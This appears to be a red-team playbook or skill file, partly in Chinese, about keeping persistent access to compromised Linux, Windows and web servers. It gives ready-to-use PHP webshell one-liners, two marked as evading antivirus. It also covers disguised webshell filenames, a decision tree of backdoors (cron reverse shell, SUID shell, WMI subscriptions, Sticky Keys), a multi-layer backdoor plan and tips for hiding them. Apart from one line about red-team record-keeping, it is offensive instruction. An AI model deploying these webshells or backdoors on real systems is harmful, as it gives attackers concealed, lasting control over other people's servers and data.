Persistence core: establishnot dependent on the original vulnerabilityaccess channel.
⛔ In-depth reference (required reading)
- Need specific commands for various Linux/Windows persistence techniques → references/persistence-techniques.md
Phase 1: Web layer persistence
Webshell deployment
Deployment location (by concealment): static resource directory > upload directory > deep in framework directory > append to the end of an existing file
Concealed Webshell：
<?php @eval($_POST['cmd']);?> // 一句话
<?php $a='sys'.'tem'; $a($_GET['c']);?> // 字符串拼接免杀
<?php array_map('assert', array($_POST['cmd']));?> // 函数回调免杀
Filename disguise：.htaccess, config.bak.php, error_log.php, .user.ini
Phase 2: Persistence decision tree
目标操作系统？
├─ Linux
│ ├─ 有 SSH 访问？→ SSH 公钥（最可靠）
│ ├─ 需要自动回连？→ Cron 反弹 shell
│ ├─ 需要隐蔽？→ systemd 服务 / bashrc 后门
│ └─ 快速后门？→ SUID shell
├─ Windows
│ ├─ 有管理员权限？→ WMI 事件订阅（最难检测）
│ ├─ 需要开机启动？→ 注册表 Run 键 / 计划任务
│ └─ 有 RDP 访问？→ Sticky Keys 后门
└─ Web 层（通用）→ Webshell
详细命令 → [references/persistence-techniques.md](references/persistence-techniques.md)
Phase 3: Multi-layer persistence strategy
Do not use only one — establish multiple layers of backdoors:
- First layer: Webshell (Web layer, easiest to restore)
- Second layer: SSH key or scheduled task (system layer)
- Third layer: service or WMI subscription (deep layer, difficult to discover)
Notes
- The more concealed the persistence, the better — filenames/service names/task names should look like normal system components
- Avoid using obvious paths (such as
/tmp/backdoor.sh） - In red team assessments, record what was deployed and where
PHP Webshell obfuscation
- Variable functions:
$$vardynamic invocation, avoiding the direct appearance of eval/system (concealed execution) - Alternative functions: replace eval with assert, replace system with passthru, etc.
Concealment ranking
- Do not modify core files such as index.php — easy to discover, dangerous